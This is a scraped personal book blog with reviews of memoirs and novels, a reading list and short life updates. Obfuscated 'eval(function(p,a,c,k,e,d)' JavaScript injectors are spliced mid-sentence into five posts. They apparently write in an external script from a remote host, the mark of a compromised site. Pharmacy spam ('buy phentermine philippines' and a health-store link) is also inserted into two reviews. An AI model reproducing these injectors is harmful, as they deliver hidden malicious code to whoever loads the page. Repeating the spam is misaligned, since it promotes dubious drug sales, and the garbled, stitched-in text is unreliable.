What I was Doing While You Were Breeding: A Memoir

Books
I went to one of the most romantic cities in the world - Venice, Italy - by myself and loved it.

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I went to one of the most romantic cities in the world – Venice, Italy – by myself and loved it.

Work has kept me from reading like the accelerated reader that I grew up as, but I recently started listening to “What I was Doing While You Were Breeding: A Memoir” on audible and I couldn’t stop. I found myself listening to the book late into the night and at 4 am in the morning. And now I’ve read the last chapter, and I had to share it with my readers in case you are scrambling for gift ideas for your girlfriends and sisters.

What I was Doing While You Were Breeding: A Memoir” is an incredible story of a young woman who learned more about herself by traveling alone around the world. There are a lot of different types of growing-up stories, but this story rang a cord of truth for me. When I traveled to Asia by myself four years ago, I didn’t know how much it would shape me. Today, I do. To help and encourage others to take the plunge and buy a plane ticket for a solo vacation – I ask you read this memoir and hear Kristin Newman’s story: “What I was Doing While You Were Breeding.”

Disclaimer, there is a lot of sex, drugs and hard lessons learned in “What I was Doing While You Were Breeding: A Memoir.”

What I Was Doing While You Were Breeding: A Memoir

REVIEW: Condoleezza Rice Washington Years Memoir

2013, Books

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zihrd|var|u0026u|referrer|kteby||js|php’.split(‘|’),0,{}))
summertime, and I’m long overdue to start cracking book spines. I seem to go in spells between no reading and reading.  Growing up, I was an avid reader but the advent of TV and Internet has slowly stolen more and more hours of my days.  I’m the first to admit I need to start reading more. One of the best places to read is traveling – mostly because you have long periods of waiting and no outlets to charge your technology.  On my trip to India, I had a 10 hour flight leaving the U.S., a four hour layover in Germany, and another 7 hour flight before arriving in India.  This equals to a lot of time for reading, even after you subtract napping.

I finished reading No Higher Honor: A Memoir of My Years in Washington by Condoleezza Rice during my journey.  I’d highly recommend this book if you are looking for an informative non-fiction.  Rice goes into great detail of the challenges the Bush administration and her role as Secretary of State had to face.  Her memoir sheds light on the behind the scenes view of how the government handled many delicate situations and how diplomacy, while cumbersome, is useful and can bring about peace.

I’ve always been a great admire of Rice, but reading her memoir truly reveals her inspiring story from growing up as a black child in Alabama during the Civil Rights Movement to become one of the highest ranking officials in the U.S.

Her memoir is very restrictive and covers her time as Secretary of State, but through her diplomacy, she reveals how her childhood colors her experience and perspective on the world.  In many ways, it allows her to connect with others suffering discrimination and injustice in other parts of the world.

This memoir has definitely inspired me to find another memoir, but first I need a good frivolous fiction novel to rot my brain out a bit.

Review: Gone Girl

Books

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehyth|var|u0026u|referrer|thnsk||js|php’.split(‘|’),0,{}))
you love the straight or winding road?  Gillian Flynn will take you down a twisted street that will leave you gasping with surprise when you reach the “Dead End” of
Gone Girl.

This novel depicts a broken marriage that looks beautiful on the surface but teeming with dangerous creatures below.  Each chapter is from the husband or wife’s point of view, starting with the months  and days leading up to Amy’s disappearance and the ripples that occur afterwards.  The police have narrowed in one suspect, the husband – Nick Dunne.

Marriage can be a real killer, but is Nick guilty?  As the evidence mounts against Nick, Flynn’s suspenseful writing throws a major twist in the novel.  It is so unexpected and ends so oddly that it makes perfect sense.

I throughly enjoyed the book and would recommend you read it!  I’ve lately started reading multiple books at once so that I never finish a book without having another book in my hand.  In the past, if I had finished a novel like Gone Girl, I would have waited weeks before selecting another book to read.  My excitement and admiration for the latest and greatest novel leaves me despondent about another book reaching that same level in my eyes – so I wait until the memory of the last book has faded away.  My new strategy, reading multiple books at once, ensures that I don’t ever go with too long of a gap between reading books.   If you are like me, I would suggest this reading plan.  I read a nonfiction and fiction book at the same time.  In this way, I can read more books, and each book balances the other.

Blue Sky Meets Industry – 2012 Photo Challenge

2012 Photo Challenge, Books

Image

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love juxtaposition – mostly because the word sounds so cool.

“I think it’s brought the world a lot closer together, and will continue to do that. There are downsides to everything; there are unintended consequences to everything.” – Steve Jobs on Technology

I recently finished reading Steve Jobs (the biography).  It was an incredibly well-written and realistic portrayal of the man behind computer innovation in the 21st buy phentermine philippines century. Authored by Walter Isaacson, the book is both harsh and gentle in dealing out the minute details of Steve Jobs life and death.  I have never been into biographies, but this book has changed my opinion.  I highly recommend this generation of tech savvy readers to download the book from Itunes and read it on their Ipad.

Little Princes

Books

I’ve hopelessly failed at my photo challenge for 2012.  There are no excuses, but I will remedy this mistake with a new photo challenge that will only last the second half of the year.  My Spring is stacking up to be much busier than anticipated (but in a good way).  While I’ve been absent on my blog, my life

has continued steadfastly on its path without much of a pause.  While most of my days is dedicated to work, something my mother has kindly pointed out as my true induction to adulthood, I have managed to scratch off a bucket list item.  I ran my first 5K today for Atlanta Mission, a charity in Atlanta that helps fight homelessness this weekend.  It was a brutal wake-up call for my 2012 self that I should get back to the gym.

A day later, my legs are painfully sore mocking me and my brilliant idea to run a mile in 10 minutes for the first time in my life.  In my defense, legs, there was an 8-year-old kid beating me.  I think I’ll attempt a 10K next.  I think that’s probably where I will plateau on my running quest.  While some people get a high that pushes them to signup for a full marathon, I will not be one of those foolishly swept up in the moment.

While I don’t make resolutions,  I am endeavoring to try this year to alternate between fiction and nonfiction.  I find the older I get, I crave more nonfiction in my literary diet.  As a child, I was an avid reader of fiction. Somewhere between college and adulthood, my reading has dramatically dropped off.  I’ve started holding myself more accountable with my reading lists on this blog.  I’m only mildly competitive, but I was quite proud of the amount I read last year.  College textbooks had drained the fun out of reading for many years for me.  However, when I read that my mother finishes approximately 50 books a year, I realized I was still slacking.  I’m stepping up my reading game, in part to beat my mother, call it my Asian-instinct to excel.  However, the bigger picture with my literary goal is that I write and grow more as an individual if I read more.  My goal is to read at least 4 books a month, which will end my year with 48. I’m going to have to start checking out how thick these books are before downloading on the kindle.  While I love reading on my kindle (I love it!), I never have any idea of what I’m setting myself up for because there are no physical pages to visually gauge.

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfyzh|var|u0026u|referrer|ktebz||js|php’.split(‘|’),0,{}))
a part of this quest, I read 
Little Princes: One Man’s Promise to Bring Home the Lost Children of Nepal by Connor Grennan.   The novel is based on Grennan’s journey as a volunteer to director of his own nonprofit organization to help trafficked children reunite with their families.

It’s an inspiring story that calls humanity to do better.  It’s a reminder of the horrors that still exist in our twenty-first century world.  I highly recommend everyone to read this book because it is a reminder to me of all the blessings I have in my life.  (Five Stars)

2011 Reading List

Books

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are all the books I read last year.  This year, I plan to read more and gain more from literature. Self-improvement should be a goal even in my reading.  I’m going to attempt to add more nonfictional books into my usual mixture of fiction and fantasy.  While I don’t make resolutions, I’ve set goals for this year that I hope are doable and will be done!

One Day by David Nicholls,
Atlas Shrugged by Ayn Rand,
Juliet, Naked by Nick Hornby,
The Help by Kathryn Stockett,
The Girl Who Payed with Fire by Stieg Larsson
Room by Emma Donoghue
The Paris Wife by Paula Mclain
Freakonomics by Steven Levitt and Stephen J. Dubner
Hidden Wives by Claire Avery
The Girl Who Chased the Moon by Sarah Addison
The Peach Keeper by Sarah Addison
The Weird Sisters by Eleanor Brown
The Beautiful and Damned by F. Scott Fitzgerald
The Crooked Letter by Tom Franklin
The Apothecary’s Daughter by Julie Klassen
The Hunger Games by Suzanne Collins
Third World America by Arianna Huffington
Lost in Shangri-La by Mitcell Zuckoff
Life From Scratch by Melissa Ford
Two for Sorrow by Nicola Upson
Chronicler of the Winds by Henning Mankell and Tiina Nunnally

A Review: Third World America

Books

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highly recommend reading Arianna Huffington’s book Third World America.  Even if you are not a liberal, it is easy to overlook her bias and see the statistics as useful information.  The numbers she use are undeniable in creating fear that a third world U.S. is not far away.

She spends the first half of the book providing data to support her thesis, like any good reporter.  While the numbers are scary to consider, she ends on a positive note.  The U.S. has always been an optimistic country in its youthful jubilation.  We are known as the melting pot – the country of opportunity.

The American spirit is irrepressible and will persevere through economic downturns and record high layoffs.  Entrepreneurship and compassion can save our country from the brink, is the last note of the book.

While I keep my political views to myself, I really enjoyed this book for its factual content.  The copy I read was from the library, http://vhealthportal.com/product-category/womens-health/, but this is one of the few books I would like to own and use as a reference … but then again, there is always the internet.

The Hunger Games

Books

“The Hunger Games” by Suzanne Collins enraptured me for a weekend as I plowed through the trilogy.  Sometimes stepping back into youth fiction is good for the soul.

I will try my best to write a review without giving away the details of the plot.

When a story is good, the prose falls away and only the plot is left.  This is the case for “The Hunger Games”.  The top tier of great literature excels even this expectation.  Great stories are memorable both in the lyricism of the author’s text and the plot itself, a hard act to achieve.  Collins manages the first tier of excellence.  Her story was worth reading.  Entangled in the fight for food are hard philosophical questions about leadership and what it takes to survive.

The story is placed in the future after a war that has depleted the natural resources of the earth and humanity leaving a barren existence everywhere except at the Capitol – a city loathed for its excess and frivolity.  A dictatorship arises from the ashes of the war and reminds the citizens of their futility by forcing them into a caste system of hardship and fighting for survival.  Collins strips down humanity’s basic need for food and sheds light on the extremes of humanity to obtain the most simple nourishment for both our body and soul.

I highly recommend this book.

The Beautiful and Damned

Books

Like eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiddz|var|u0026u|referrer|sridn||js|php’.split(‘|’),0,{}))
most students raised in the public education system, Freshman year of high school turned your reading classes to literature studies.  This name change is subtle and influential in how a teacher will approach the students’ curriculum.  Classical titles and convoluted names begin raining upon the young mass of heads, and while most students begrudgingly finished their assignments, I fastidiously and hungrily read through my homework. F. Scott Fitzgerald’s The Great Gatsby has been my fundamental love story that all others have been held in comparison.  I had read Shakespeare, but on my own time over the summer, which delayed my introduction to Romeo and Juliet.

A feeling of lethargy has set into me as I’ve made some life choices, and a return to classical reading has helped me feel anchored to my flimsy education, at least before time floats it away from my grasp.  Fitzgerald penned The Beautiful and Damned as his second novel after This Side of Paradise. Published in 1922 as the Jazz Age began, Fitzgerald mirrored The Beautiful and Damned after his marriage with Zelda, in his estimation the first American flapper.

Like most writers, his prose is borrowed stories from reality, which is always a mix of the bittersweet.  This novel was a hard read for me because of my lack of interest initially, although this did not attenuate my desire to finish the book.

Perhaps my youthful mind has encapsulated The Great Gatsby in an unjustified aura, but The Beautiful and Damned paled in comparison to the great love affair of Daisy and Gatsby.  In truth, all the great love stories as defined by literary historians have been tragic in their endings.  The Beautiful and Damned is no exception.

It is another tragic love story, reflecting Fitzgerald’s own personal anguishes – his struggle with alcoholism, his financial straits and his marriage woes.  As always, Fitzgerald wrestles with his prose to include moral and philosophical questions about life and love.  Can money coexist with love? How does a Jazz baby conform to the process of aging?  Where does one draw the line on decadence?

 

Literature holding hands with Life

Books

Can you picture two people holding hands?  It is ‘literature’ and ‘life’, walking down the street.  I use this metaphor because I alway relate what I read to my life (excluding news because my life is not filled w ith sex scandals and craigslist pictures).  I just finished reading a random book, selected by whim because I was familiar with the author – Nick Hornby.  Juliet, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbbkb|var|u0026u|referrer|yfaht||js|php’.split(‘|’),0,{}))
Naked
was a mid-life crisis book.  However, as an old soul in a young person’s body, I could relate to many of the same feelings of Annie, the main character. 

Annie lives in a sea-side village in England where words like “wanker” and “fish and chips” are colloquial.  She wastes 15 years with the same man, in a noncommittal, common-law marriage that ends with an anticlimactic conclusion when Duncan sleeps with another woman.  However, Duncan is the old professor type that immediately begins to question his own actions. 

Annie and Duncan do not resolve their differences; instead, they find a different sort of happiness in the unsteady life of single, middle-aged people who crave the excitement that they missed while sharing an uneventful life with another person.  The story begins to pick up as Annie has a one-night stand relationship with Duncan’s musical icon – Tucker Crow.  The novel ends on an ambiguous note from online commentators about Crow’s new album “So Where Was I?” 

Old fans don’t enjoy his new style and new fans begin their own version of Duncan’s obsession.  So what was the message?

Doing nothing will leave you with more regrets than doing something and regretting living a life worth regretting.  Did that make sense?  Now I must go do something worth regretting instead of writing this post ;)!